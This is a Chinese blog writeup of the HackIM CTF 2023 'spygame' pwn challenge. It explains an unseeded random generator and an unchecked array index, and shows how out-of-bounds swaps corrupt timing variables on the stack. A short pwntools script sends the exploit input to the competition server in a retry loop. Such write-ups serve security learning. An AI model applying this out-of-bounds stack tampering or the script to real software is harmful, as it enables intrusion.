0%

【Pwn#0x0D】HackIM CTF 2023 spygame writeup

我们CTF萌新小分队已经达到了4人之多(`ヮ´),这次排名41/433,感觉很好~
这道题有十个队做出来,很高兴我也弄出来了,还顺便大致学会了docker配本地环境,挺感动的~~

漏洞:随机数未设种子、数组下标溢出


程序逻辑

程序给了 N 个代码源文件以及DockerFile。主要逻辑是用 C code 写的,但是封装成了一个 Python 可以调用的模块,名为 spy,相关信息参考python文档 Extending Python with C or C++ — Python 3.11.2 documentation

game.py 会让玩家选择游戏模式(easy or hard),然后调用 spy 模块的接口,如果返回通过就把 flag 打印出来。spy 模块的主要逻辑大致如下:

  • 首先进行八轮循环,每轮循环中:
    1. 生成一个固定大小的数组,元素类型 uint8_t
    2. 随机取两个数交换
    3. 打印交换后的数组
    4. 玩家输入两个 index(这一步将会计时,并分别将前后的时间保存到局部变量 start_nsend_ns 中)
    5. 程序交换两个 index 的值
    6. 程序检查交换后数组,若正确则 total_ok++
    7. 程序将 end_ns - start_ns 加到 total_ns
  • 循环完毕后,检查 total_ok == 5total_ns 是否足够小,并返回结果。

在 easy 模式下,total_ns 的限制换算后为 60 秒;但在 hard 模式下,total_ns 的限制为 1000ns,这通过正常的途径是不可能做到的(远程环境下最快每轮循环也需要 6000ns+)。

漏洞分析

第一个漏洞:程序生成随机数没有设置随机的种子,所以我们可以直接知道每一轮的答案是什么,从而达成五轮胜利来满足 total_ok == 5 的条件。
第二个漏洞:程序读取将要交换的 index 时,并没有做边界检查,所以我们可以干扰栈上的局部变量

函数中的局部变量声明如下:

1
2
3
4
5
6
7
8
9
char user_input[256];
uint8_t numbers[count];
struct timespec start, end;
uint64_t start_ns, end_ns;
uint64_t total_ns, total_ok;
size_t swap1, swap2;
size_t swap1_in, swap2_in;
size_t i, k;
bool ok;

其中最为重要的显然是 total_nstotal_ok 变量。但由于我们无法获取实际运行的 binary 文件,所以也没办法知道这些变量是存在栈上还是寄存器中,也没办法知道栈上相对 numbers 数组的偏移。

一种容易想到的方法是先答对五轮,然后尝试用 0 与 total_ns 交换来减少所花的时间。但这种方法需要我们知道 total_ns 的地址(如果它真的在栈上)。
在本地环境,经过幸苦的调试,可以发现 total_ns 确实在栈上,并利用这种方法攻击成功。但在远程环境,不论如何调试,都没办法找到 total_ns 的位置,我估计这个变量存寄存器上了。(这里省略了部分细节)
3.10/20:30 UPDATE:赛后看了别的师傅的writeup,发现这个方法是完全可以的,现在再跑之前的脚本就跑出来了,不知道昨天晚上为什么一直跑不出,感觉是运气实在太差了……

没办法直接修改 total_ns,那就通过程序内的代码来修改 total_ns
total_ns += end_ns - start_ns;
如果我们能够交换 end_nsstart_ns,那就可以让 total_ns 减小。

为了找到这两个变量的位置,同样需要慢慢试。由于程序每轮会告知玩家所花的时间,因此这两个变量的位置可以很方便地试出来(所花时间非常大就说明打到了)。由于我们只能交换两个 uint8_t,因此需要考虑更换哪两个位。

根据远程返回的信息可以发现,如果我们让程序以最快的速度运行(程序用 fgets 读取玩家输入,我们直接发送一个大字符串,其中用换行符区分答案),那么每轮的时间大约在 6000ns-10000ns 左右,换算为十六进制为 0x1770-0x2710。
这可以说明大部分情况下,开始和结束的时间,除了最后两个字节外,其余的字节都是相同的。所以我们只要交换两个时间的倒数第二个字节,就可以让它们的真值也大致交换。

此外,由于时间会波动,因此若最后三次交换成功,就会有一定几率让最后的 total_ns 小于 1000ns。接下来就是编写脚本。

漏洞利用

经过测试发现,328-335 的偏移是 start_ns,320-327 的偏移是 end_ns。我交换的位偏移为 321 和 329。
利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def pwn():
global io
io = remote("52.59.124.14", 10013)
# io = remote("127.0.0.1", 9090)

payload = b"103\n255\n105\n191\n16\n81\n71\n74\n41\n163\n"
payload += b"321\n329\n321\n329\n321\n329\n"
payload = b'\n' + payload
io.sendlineafter(b"Hard", b"hard")
io.sendafter(b"Ready", payload)
# 329-336 start_ns
# 321-328 end_ns

if __name__ == '__main__':
for i in range(100):
pwn()
mes = io.recvrepeat(2.2)
if (mes.find(b"for you troubles:") != -1):
print(mes[mes.find(b"for you troubles:"):])
break

最后附上爆破出flag的截图~ 今天早上挂上脚本后去干别的事了,回来突然看到打出来了很激动哈哈哈。

嘿嘿嘿